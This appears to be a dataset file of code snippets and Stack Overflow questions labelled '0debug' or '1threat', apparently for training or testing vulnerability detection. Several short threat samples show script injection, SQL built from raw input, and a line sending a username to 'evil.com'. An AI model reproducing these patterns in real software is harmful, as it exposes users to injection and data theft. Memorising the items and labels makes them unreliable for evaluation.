problem
stringlengths
26
131k
labels
class label
2 classes
def sort_by_dnf(arr, n): low=0 mid=0 high=n-1 while mid <= high: if arr[mid] == 0: arr[low], arr[mid] = arr[mid], arr[low] low = low + 1 mid = mid + 1 elif arr[mid] == 1: mid = mid + 1 else: arr[mid], arr[high] = arr[high], arr[mid] high = high - 1 ...
0debug
alert('Hello ' + user_input);
1threat
static void dump_ops(const uint16_t *opc_buf) { const uint16_t *opc_ptr; int c; opc_ptr = opc_buf; for(;;) { c = *opc_ptr++; fprintf(logfile, "0x%04x: %s\n", opc_ptr - opc_buf - 1, op_str[c]); if (c == INDEX_op_end) break; } }
1threat
Writing a function called open_file(). The program will try to open a file. An error message should be shown if the file cannot be opened : I need to define a function called open_file(prompt_str): This function receives a string which is the message to diplay when prompting the user to enter a filename. The program w...
0debug
static inline int get_lowest_part_list_y(H264Context *h, Picture *pic, int n, int height, int y_offset, int list) { int raw_my = h->mv_cache[list][scan8[n]][1]; int filter_height = (raw_my & 3) ? 2 : 0; int full_my = (raw_my >> 2) + y_offset; i...
1threat
Covert to HH:MM in SQL : I would like to convert a date time format to hh:mm using sql server. eg:'2017-08-17 15:31:18.217' to get '15:31' If any one knows please help. Thanks in Advance
0debug
ram_addr_t get_current_ram_size(void) { MemoryDeviceInfoList *info_list = NULL; MemoryDeviceInfoList **prev = &info_list; MemoryDeviceInfoList *info; ram_addr_t size = ram_size; qmp_pc_dimm_device_list(qdev_get_machine(), &prev); for (info = info_list; info; info = info->next) { ...
1threat
How can I Install curl on Linux? : <p>I am new to networking. And I wanna install curl on my ubuntu 14.04 Help me with all the packages or any other services needed to install curl</p>
0debug
ionic error with license for [SDK patch applier V4] : <p>I get the following when I do:</p> <p><code>ionic build android</code></p> <blockquote> <p>Error: /Users/mike/code/ionic/getit/platforms/android/gradlew: Command failed with exit code 1 Error output: FAILURE: Build failed with an exception.</p> <ul> ...
0debug
How to save HTML form data on local machine : <p>Have HTML form in that some user information is filled.want to save that information on local machine. How to do that?</p>
0debug
Getting a "Can't resolve all parameters" error when setting up a hybrid AngularJS / Angular app : <p>I want to upgrade my traditional Angular JS app and I have been following the documentation on angular.io to setup a <strong>hybrid</strong> app.</p> <p>Now my bootstrapping process in app.ts looks like:</p> <pre><cod...
0debug
How can I manually describe an example input for a java @RequestBody Map<String, String>? : <p>I am designing an api where one of the POST methods that takes a <code>Map&lt;String, String&gt;</code> of any key value pairs.</p> <pre><code>@RequestMapping(value = "/start", method = RequestMethod.POST) public void startP...
0debug
static int check_host_key_knownhosts(BDRVSSHState *s, const char *host, int port) { const char *home; char *knh_file = NULL; LIBSSH2_KNOWNHOSTS *knh = NULL; struct libssh2_knownhost *found; int ret, r; const char *hostkey; size_t len; int ty...
1threat
static char *usb_get_fw_dev_path(DeviceState *qdev) { USBDevice *dev = DO_UPCAST(USBDevice, qdev, qdev); char *fw_path, *in; int pos = 0; long nr; fw_path = qemu_malloc(32 + strlen(dev->port->path) * 6); in = dev->port->path; while (true) { nr = strtol(in, &in, 10); ...
1threat
Laravel 5 PDOException Could Not Find Driver : <p>I have a problem using Laravel 5. When I run "php aritsan migrate", I got this error</p> <pre><code>************************************** * Application In Production! * ************************************** Do you really wish to run this command? [y/N] y [P...
0debug
static int sox_read_header(AVFormatContext *s) { AVIOContext *pb = s->pb; unsigned header_size, comment_size; double sample_rate, sample_rate_frac; AVStream *st; st = avformat_new_stream(s, NULL); if (!st) return AVERROR(ENOMEM); st->codecpar->codec_type = AVMEDIA_TYPE_A...
1threat
static void rtas_ibm_query_interrupt_source_number(PowerPCCPU *cpu, sPAPREnvironment *spapr, uint32_t token, uint32_t nargs, ...
1threat
C code to find "Cullen's number" : <p>Need to make a C code that asks of the user to input one number, and the code will check whether the number is a "Cullen's number" or not.</p> <p>A number is Cullen's number as long as you can calculate it by doing "2^n * n + 1".</p> <p>Examples of Cullen's numbers:</p> <pre><co...
0debug
static int vfio_base_device_init(VFIODevice *vbasedev) { VFIOGroup *group; VFIODevice *vbasedev_iter; char path[PATH_MAX], iommu_group_path[PATH_MAX], *group_name; ssize_t len; struct stat st; int groupid; int ret; if (!vbasedev->name || strchr(vbasedev->name, '/')) { ...
1threat
PHP syntax error, unexpected 'if' (T_IF) : <p>I want to make the text red if username == user_id but it gives me a syntax error, unexpected 'if' (T_IF). my code:</p> <pre><code>foreach ($dag as $taak) { echo '&lt;li' if($_SESSION['user_id'] == $taak['username']){ echo 'style="color:red"';}'&gt;'.$taak['taak_naam']...
0debug
void memory_region_unregister_iommu_notifier(MemoryRegion *mr, Notifier *n) { notifier_remove(n); if (mr->iommu_ops->notify_stopped && QLIST_EMPTY(&mr->iommu_notify.notifiers)) { mr->iommu_ops->notify_stopped(mr); } }
1threat
Passing data to another component : <p>I'm new in Angular I want to pass data from one to another component. I store that in array that is isn't bind with component.html i wonder that i use @Input property if is isn't bind or some other manner?</p>
0debug
Creating a text editor through jquery : <p>Well... Explanation is simple I want to create a text editor just like stackoverflow where you type and beneath the text is formatted and shown.</p> <p>Lets keep the thing simple</p> <p>This is a simple thing I tried. </p> <pre><code>`https://jsfiddle.net/dh4qpzzv/` </code>...
0debug
static bool rtas_event_log_contains(uint32_t event_mask) { sPAPREventLogEntry *entry = NULL; if ((event_mask & EVENT_MASK_EPOW) == 0) { return false; } QTAILQ_FOREACH(entry, &spapr->pending_events, next) { if (entry->log_type == RTAS_LOG_TYPE_EPOW || ...
1threat
static void check_itxfm(void) { LOCAL_ALIGNED_32(uint8_t, src, [32 * 32 * 2]); LOCAL_ALIGNED_32(uint8_t, dst, [32 * 32 * 2]); LOCAL_ALIGNED_32(uint8_t, dst0, [32 * 32 * 2]); LOCAL_ALIGNED_32(uint8_t, dst1, [32 * 32 * 2]); LOCAL_ALIGNED_32(int16_t, coef, [32 * 32 * 2]); LOCAL_ALIGNED_32(in...
1threat
Trim only trailing whitespace from end of string in Swift 3 : <p>Every example of trimming strings in Swift remove both leading and trailing whitespace, but how can <em>only trailing</em> whitespace be removed?</p> <p>For example, if I have a string:</p> <pre><code>" example " </code></pre> <p>How can I end up w...
0debug
@EnableTransactionManagement in Spring Boot : <p>Is @EnableTransactionManagement required in Spring Boot? I did some research. Some folks say you don't need it, as Spring Boot has it already enabled, others say you do have to use it explicitly. So how is it?</p>
0debug
static int rocker_msix_init(Rocker *r) { PCIDevice *dev = PCI_DEVICE(r); int err; err = msix_init(dev, ROCKER_MSIX_VEC_COUNT(r->fp_ports), &r->msix_bar, ROCKER_PCI_MSIX_BAR_IDX, ROCKER_PCI_MSIX_TABLE_OFFSET, &r->msix_bar, ...
1threat
Swift - Pass multiple Strings over Bluetooth : <p>how can i pass multiple String (.text from Label) to another Device using CoreBluetooth? One String works but then it stops.</p> <p>Thanks</p>
0debug
Installing newest version of Rails 4 with Postgres - The PGconn, PGresult, and PGError constants are deprecated : <p>I'm not able to find this warning on Google so asking Stackowerflower's help.</p> <p>I want to install Rails 4.2.8 on fresh Centos 7 box. Postgres version is 9.2.18. Ruby version is 2.3.4.</p> <p>When ...
0debug
static int get_ref_idx(AVFrame *frame) { FrameDecodeData *fdd; NVDECFrame *cf; if (!frame || !frame->private_ref) return -1; fdd = (FrameDecodeData*)frame->private_ref->data; cf = (NVDECFrame*)fdd->hwaccel_priv; return cf->idx; }
1threat
JavaScript Event Loop: Queue vs Message Queue vs Event Queue : <p>Reading through a lot of JavaScript Event Loop tutorials, I see different terms to identify the queue stores messages ready to be fetched by the Event Loop when the Call Stack is empty:</p> <ul> <li><strong>Queue</strong></li> <li><strong>Message Queue<...
0debug
int opt_default(const char *opt, const char *arg){ int type; const AVOption *o= NULL; int opt_types[]={AV_OPT_FLAG_VIDEO_PARAM, AV_OPT_FLAG_AUDIO_PARAM, 0, AV_OPT_FLAG_SUBTITLE_PARAM, 0}; for(type=0; type<CODEC_TYPE_NB; type++){ const AVOption *o2 = av_find_opt(avctx_opts[0], opt, NULL, o...
1threat
CMake and Code Signing in XCode 8 for iOS projects : <p>CMake was able to configure automatic code signing for XCode &lt;=7 and iOS projects with a target property setting like </p> <pre><code>set_target_properties(app PROPERTIES XCODE_ATTRIBUTE_CODE_SIGN_IDENTITY "PROPER IDENTIFIER") </code></pre> <p>XCode 8 changed...
0debug
how to convert Byte[] to byte[] : <p>I have a problem: I use byte[] to store data, but I have to connect several byte[] togather, I know Arrays.addAll(Arrays.asList(Byte[])) will do the thing, but how to convert byte[] to Byte[], and how to revert Byte[] to byte[]?</p>
0debug
Getting a Cloud Firestore document reference from a documentSnapshot : <h1>The issue</h1> <p>I'm trying to retrieve the document reference from a query. My code returns <code>undefined</code>. I can get the path by extracting various parts of <code>documentSnapshot.ref</code>, but this isn't straightforward.</p> <p...
0debug
static void dump_json_image_info_list(ImageInfoList *list) { QString *str; QmpOutputVisitor *ov = qmp_output_visitor_new(); QObject *obj; visit_type_ImageInfoList(qmp_output_get_visitor(ov), NULL, &list, &error_abort); obj = qmp_output_get_qobject(ov); str = ...
1threat
How to extract all strings between two special characters using regex : I need to get the strings from each of the 16 sections below #0<Every word comes here>#1<...>#2<...>#3<...>#4<...>#5<...>#6<...>#7<...>#8<...>#9<...>#A<...>#B<...>#C<...>#D<...>#E<...>#F<...>
0debug
static void test_qemu_strtoull_empty(void) { const char *str = ""; char f = 'X'; const char *endptr = &f; uint64_t res = 999; int err; err = qemu_strtoull(str, &endptr, 0, &res); g_assert_cmpint(err, ==, 0); g_assert_cmpint(res, ==, 0); g_assert(endptr == str); }
1threat
static int rv10_decode_frame(AVCodecContext *avctx, void *data, int *data_size, UINT8 *buf, int buf_size) { MpegEncContext *s = avctx->priv_data; int i, mb_count, mb_pos, left; DCTELEM block[6][64]; AVPicture *pict = data; #ifdef DEBU...
1threat
uint64_t HELPER(paired_cmpxchg64_le)(CPUARMState *env, uint64_t addr, uint64_t new_lo, uint64_t new_hi) { uintptr_t ra = GETPC(); Int128 oldv, cmpv, newv; bool success; cmpv = int128_make128(env->exclusive_val, env->exclusive_high); newv = int128_make128...
1threat
void ff_h264dsp_init(H264DSPContext *c, const int bit_depth, const int chroma_format_idc) { #undef FUNC #define FUNC(a, depth) a ## _ ## depth ## _c #define ADDPX_DSP(depth) \ c->h264_add_pixels4 = FUNC(ff_h264_add_pixels4, depth);\ c->h264_add_pixels8 = FUNC(ff_h264_add_pixels8, depth) if (bit_d...
1threat
Closures inside loops and local variables : <p>I am a JS novice and I was reading about closures, the common issues that arise due to misunderstanding how closures work and the "setting handlers inside a loop" was a pretty good example. I've also seen and understood the ways to get around this, i.e, by calling another ...
0debug
nextjs route middleware for authentication : <p>I'm trying to figure out an appropriate way of doing authentication, which I know is a touchy subject on the <a href="https://github.com/zeit/next.js/issues/153" rel="noreferrer">GitHub issue page</a>. </p> <p>My authentication is simple. I store a JWT token in the sessi...
0debug
void qemu_del_timer(QEMUTimer *ts) { }
1threat
Jenkins build monitor wall without manual login : <p>I'm trying to create a completely automatized Jenkins status screen for our office wall with a Raspberry Pi. I was able to configure the Pi to show a browser with a specific URL on the TVs as well as configuring the <a href="https://wiki.jenkins-ci.org/display/JENKIN...
0debug
Unused 'is' at end of if expression : <pre><code>{% if loop.index is even %} &lt;tr class="row1"&gt; &lt;td&gt;&lt;a href="/webpage_tracking/report_page?url={{report.url}}&amp;validation={{report.validation}}" target="_blank"&gt;{{report.url}}&lt;/a&gt;&lt;/td&gt; &lt;td&gt;{{username}}&...
0debug
lamba x sum if df1[col_x] based on multiple column matching criteria across 2 dfs : I have some time stampled financial data as shown in the image.[Sample Data][1] For companies that have had transaction B(s), I want to calculate sum of transaction A(s) values that occurred prior to transaction B. Here's my code so ...
0debug
When do I choose React state Vs Redux Store : <p>I've been learning Redux and a part I'm unclear of is, how do I make a determination between using react state vs redux store and then dispatching actions. from my reading so far it looks like I could use React state in place of Redux store and still get things done. I u...
0debug
c++ - Does a catch block need to be written immediately after a try block? : <p>My compiler gives me an error for the following code:</p> <pre><code>#include &lt;iostream&gt; #include &lt;stdexcept&gt; using namespace std; void test() { throw runtime_error("Error"); } int main() { try { te...
0debug
How to write a matrix matrix product that can compete with Eigen? : <p>Below is the C++ implementation comparing the time taken by Eigen and For Loop to perform matrix-matrix products. The For loop has been optimised to minimise cache misses. The for loop is faster than Eigen initially but then eventually becomes slowe...
0debug
how to minimize, maximize and close whole application : I want to add this feature to my android application. ( minimize, maximize and close whole application ) I know that android version must be higher than 7. I search the net but I do not find any solution for it . exactly like below pic: [enter image descrip...
0debug
int tcp_start_outgoing_migration(MigrationState *s, const char *host_port, Error **errp) { s->get_error = socket_errno; s->write = socket_write; s->close = tcp_close; s->fd = inet_connect(host_port, false, NULL, errp); if (!error_is_set(errp)) { m...
1threat
static int64_t get_remaining_dirty(void) { BlkMigDevState *bmds; int64_t dirty = 0; QSIMPLEQ_FOREACH(bmds, &block_mig_state.bmds_list, entry) { dirty += bdrv_get_dirty_count(bmds->bs, bmds->dirty_bitmap); } return dirty << BDRV_SECTOR_BITS; }
1threat
static bool check_overlapping_aiocb(BDRVSheepdogState *s, SheepdogAIOCB *aiocb) { SheepdogAIOCB *cb; QLIST_FOREACH(cb, &s->inflight_aiocb_head, aiocb_siblings) { if (AIOCBOverlapping(aiocb, cb)) { return true; } } QLIST_INSERT_HEAD(&s->inflight_aiocb_head, aiocb, ...
1threat
CMS or html to build an e-commerce site in 30 days? : <p>I am a c/c++ developer and i need to create an e-commerce site for someone in 30 days. I've done a bit of html and css recently (nothing extensive though) and I want to know whether to use a WordPress or html+bootstrap</p>
0debug
Change css background color with php : <p>I'm having a little problem with css. I have to create a page with a form on which you can set your background-color by means of radio-buttons and a submit button. But how could I actually change the css background-color in php?</p> <pre><code>&lt;?php if (isset($_...
0debug
query = 'SELECT * FROM customers WHERE email = ' + email_input
1threat
int qemu_egl_rendernode_open(void) { DIR *dir; struct dirent *e; int r, fd; char *p; dir = opendir("/dev/dri"); if (!dir) { return -1; } fd = -1; while ((e = readdir(dir))) { if (e->d_type != DT_CHR) { continue; } if (s...
1threat
int ff_jpeg2000_init_component(Jpeg2000Component *comp, Jpeg2000CodingStyle *codsty, Jpeg2000QuantStyle *qntsty, int cbps, int dx, int dy, AVCodecContext *avctx) { uint8_t log2_band_prec...
1threat
Kubernetes - processing an unlimited number of work-items : <p>I need to get a work-item from a work-queue and then sequentially run a series of containers to process each work-item. This can be done using initContainers (<a href="https://stackoverflow.com/a/46880653/94078">https://stackoverflow.com/a/46880653/94078</a...
0debug
Guess the Number : The Goal: Similar to the first project, this project also uses the random module in Python. The program will first randomly generate a number unknown to the user. The user needs to guess what that number is. (In other words, the user needs to be able to input information.) If the user’s guess is wron...
0debug
How do I rename a Google Cloud Platform project? : <p>Is it possible to rename a Google Cloud Platform project? If so, how?</p> <p>I don't need to change the project ID or number. But I do want to change the project <em>name</em> (the name used by/for humans to identify a cloud platform project).</p> <p>Thanks for an...
0debug
Android Command line tools sdkmanager always shows: Warning: Could not create settings : <p>I use the new Command line tools of android because the old sdk-tools repository of android isn't available anymore. So I changed my gitlab-ci to load the commandlintools. But when I try to run it I get the following error:</p> ...
0debug
START_TEST(qobject_to_qstring_test) { QString *qstring; qstring = qstring_from_str("foo"); fail_unless(qobject_to_qstring(QOBJECT(qstring)) == qstring); QDECREF(qstring); }
1threat
vreader_xfr_bytes(VReader *reader, unsigned char *send_buf, int send_buf_len, unsigned char *receive_buf, int *receive_buf_len) { VCardAPDU *apdu; VCardResponse *response = NULL; VCardStatus card_status; unsigned short status; VCard *card = vreader_get_car...
1threat
static int vdi_check(BlockDriverState *bs, BdrvCheckResult *res, BdrvCheckMode fix) { BDRVVdiState *s = (BDRVVdiState *)bs->opaque; uint32_t blocks_allocated = 0; uint32_t block; uint32_t *bmap; logout("\n"); if (fix) { return -ENOTSUP; } ...
1threat
SQL convert values to TRUE/FALSE : I have a SQL field that has values >=0. I would like to create a Field (or display this field) as True (if value >0) and False (if value = 0).
0debug
How to split this regexp line into several? : <p>Used search but really didn't get it how to split this long regexp on several shorter:</p> <pre><code>var isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent); </code></pre>
0debug
static int read_header(FFV1Context *f) { uint8_t state[CONTEXT_SIZE]; int i, j, context_count = -1; RangeCoder *const c = &f->slice_context[0]->c; memset(state, 128, sizeof(state)); if (f->version < 2) { int chroma_planes, chroma_h_shift, chroma_v_shift, transparency, colorspace,...
1threat
XCode - Thread 1: EXC_BAD_ACCESS After OS Upgrade : <p>Before I upgraded my Macbook to Sierra 10.12.2, my application was running perfectly on Xcode, however, now I am getting some weird errors. How can I overcome this issue? </p> <p><a href="https://i.stack.imgur.com/bnqap.jpg" rel="nofollow noreferrer">main file</a...
0debug
jQueruy execution is not complete : i have a jquery code which replace some html attributes value for (i = 0; i < 3; i++) { $("."+i+"-div").attr('data-thumb', image_array[i]); $("."+i+"-a").attr('href', image_array[i]); $("."+i+"-img").attr('src', image_ar...
0debug
static void set_sensor_evt_enable(IPMIBmcSim *ibs, uint8_t *cmd, unsigned int cmd_len, uint8_t *rsp, unsigned int *rsp_len, unsigned int max_rsp_len) { IPMISensor *sens; IPMI_CHECK_CMD_LEN(4); if (...
1threat
sum up an array of integers in C# : <p>I want the sum of the numbers in the array and does not exceed 1002 how can I fix it? it is not needful to sum all numbers, but only those who qualify</p> <p>I do it that way but I think it's not the right way</p> <pre><code> List&lt;int&gt; list = new List&lt;int&gt; { 4, 900, ...
0debug
static inline void mix_stereo_to_mono(AC3DecodeContext *ctx) { int i; float (*output)[256] = ctx->audio_block.block_output; for (i = 0; i < 256; i++) output[1][i] += output[2][i]; memset(output[2], 0, sizeof(output[2])); }
1threat
static void check_update_timer(RTCState *s) { uint64_t next_update_time; uint64_t guest_nsec; int next_alarm_sec; if ((s->cmos_data[RTC_REG_A] & 0x60) == 0x60) { timer_del(s->update_timer); return; } if ((s->cmos_data[RTC_REG_C] & REG_C_UF) && (s...
1threat
Why do I get zero length for a string filled element by element? : <p>this is my issue. I am compiling with g++ (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0</p> <p>I would like to check every element of the string, and copy it only if it is a consonant.</p> <p>This is how I try to do that: This is just a function to select v...
0debug
void kvm_arch_init_irq_routing(KVMState *s) { if (!kvm_check_extension(s, KVM_CAP_IRQ_ROUTING)) { no_hpet = 1; } kvm_irqfds_allowed = true; kvm_msi_via_irqfd_allowed = true; kvm_gsi_routing_allowed = true; }
1threat
static int megasas_build_sense(MegasasCmd *cmd, uint8_t *sense_ptr, uint8_t sense_len) { uint32_t pa_hi = 0, pa_lo; target_phys_addr_t pa; if (sense_len > cmd->frame->header.sense_len) { sense_len = cmd->frame->header.sense_len; } if (sense_len) { pa_lo = le32_to_cpu(c...
1threat
My code is not working correctly : <p>I am having a problem with this code, I am not sure what is wrong. Essentially it is supposed to take input from user, set it to a variable, then write a string. It is not writing anything out after I try typing in a name.</p> <p><br> <p>Hello, the purpose of this site i...
0debug
What can be the difference of using a fragment and frameLayout in android? Can both be used interchangeably? : <p>I have seen an approach where frameLayout is used in case of fragments. The ultimate goal was to have multiple fragments.</p>
0debug
How to merge two lists into a dictionarry : I have two lists, list1 and list2. I want to create a dict in which list1 is the keys and list2 is divided equally between them. for example: list1 = ['a','b','c'] list2 = [1,2,3,4,5,6,7,8] result = {'a':[1,2,3], 'b':[4,5,6], 'c':[7,8]} I thought about ...
0debug
How to use AWK regexp to print multiple substring pattern in a excel format in different column : I have a log file which contains millions line like this :: 10.0.7.92 - - [05/Jun/2017:03:50:06 +0000] "GET /adserver/html5/***inwapads***/?category=[IAB]&size=***320x280***&ak=***AY1234***&output=vast&version=1.1&sleep...
0debug
int acpi_table_add(const QemuOpts *opts) { AcpiTableOptions *hdrs = NULL; Error *err = NULL; char **pathnames = NULL; char **cur; size_t len, start, allen; bool has_header; int changed; int r; struct acpi_table_header hdr; char unsigned *table_start; { ...
1threat
Convert Set<> to List<String> : Need help in Converting Set<> to List<String> in Flutter Set<_Filter> _selectedFilters = Set<_Filter>(); final List<_Filter> _filters = [ _Filter('Bee Cattle'), _Filter('Crops'), _Filter('Machinery'), _Filter('Fish'), ...
0debug
How to set ADC for MC9S08QG8 micro controller in C language : <p>Im new to coding in C language and I don't know how to activate the Analogue to Digital converter on the QG8 micro controller. Its quite outdated tech as far as I'm aware as I'm struggling to find any code for it. The overall project is to create a Voltme...
0debug
static ssize_t unix_writev_buffer(void *opaque, struct iovec *iov, int iovcnt, int64_t pos) { QEMUFileSocket *s = opaque; ssize_t len, offset; ssize_t size = iov_size(iov, iovcnt); ssize_t total = 0; assert(iovcnt > 0); offset = 0; while (size > 0...
1threat
VSTS - Deployment Group release not working: Unable to deploy to the target as the target is offline : <p>I am using Deployment Groups in VSTS to deploy my application to an on premise test web server. It has been working fine for a long time, but after having not used it for about 6 weeks I am now getting this error w...
0debug
static void qemu_chr_parse_ringbuf(QemuOpts *opts, ChardevBackend *backend, Error **errp) { int val; ChardevRingbuf *ringbuf; ringbuf = backend->u.ringbuf = g_new0(ChardevRingbuf, 1); qemu_chr_parse_common(opts, qapi_ChardevRingbuf_base(ringbuf)); val = ...
1threat
static void fw_cfg_io_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); dc->realize = fw_cfg_io_realize; dc->props = fw_cfg_io_properties; }
1threat
GuestFileWrite *qmp_guest_file_write(int64_t handle, const char *buf_b64, bool has_count, int64_t count, Error **errp) { GuestFileWrite *write_data = NULL; guchar *buf; gsize buf_len; int write_count; GuestFileHandle *gfh = gu...
1threat
Substring of string is not working the way i want : <p>I have this code here: </p> <pre><code>String line1 = "part1, part2, part3, part4"; </code></pre> <p>and i want to extract part 2. so i tried this:</p> <pre><code>String extractedPart = line1.substring(line1.indexOf(","), line1.indexOf(",", line1.indexOf"," ...
0debug
int flv_h263_decode_picture_header(MpegEncContext *s) { int format, width, height; if (get_bits_long(&s->gb, 17) != 1) { av_log(s->avctx, AV_LOG_ERROR, "Bad picture start code\n"); return -1; } format = get_bits(&s->gb, 5); if (format != 0 && format != 1) { a...
1threat
get contact number from device and display into listview in android : Hey @STACKERS i want to display contact number in listview. And it is working perfect. But i want to put condition when it read contact from device. The Condition are 1) if number digit <10 { --don't add into list-}. 2)else if(number is starting...
0debug
Twig 2.0 error message "Accessing Twig_Template attributes is forbidden" : <p>Since upgrading to Twig 2.0 I get the error message <code>Accessing Twig_Template attributes is forbidden</code>. The referred line contains either an <code>{{ include }}</code> or a macro call.</p>
0debug
Compile dynamic HTML in Angular 4/5- something similar to $compile in Angular JS : <p>I wanted to receive an HTML data via service call to server(this is for sure. I cannot keep templates in local) and manipulate them internally on how to show it(either as a modal or full page). This HTML with Angular tags should be lo...
0debug
unsigned int DoubleCPDO(const unsigned int opcode) { FPA11 *fpa11 = GET_FPA11(); float64 rFm, rFn = 0; unsigned int Fd, Fm, Fn, nRc = 1; Fm = getFm(opcode); if (CONSTANT_FM(opcode)) { rFm = getDoubleConstant(Fm); } else { switch (fpa11->fType[Fm]) { ...
1threat
How are webpages linked? : <p>I'm having trouble figuring out how two pages are linked. For example if I have the following code:</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;button onclick='myfunction()'&gt;Click me&lt;/button&gt; &lt;body&gt; &lt;script&gt; function myfunction() { //some code to take user ...
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
How would you create the equivalent of this nested javascript array in Java : <p>[[1,2,[3]],4] we can declare an array like this in Javascript, how would this array be written in Java? the following is something like what i want but does not work as 4 is not a 2d array. Is there a way to do this without lists?</p> <pr...
0debug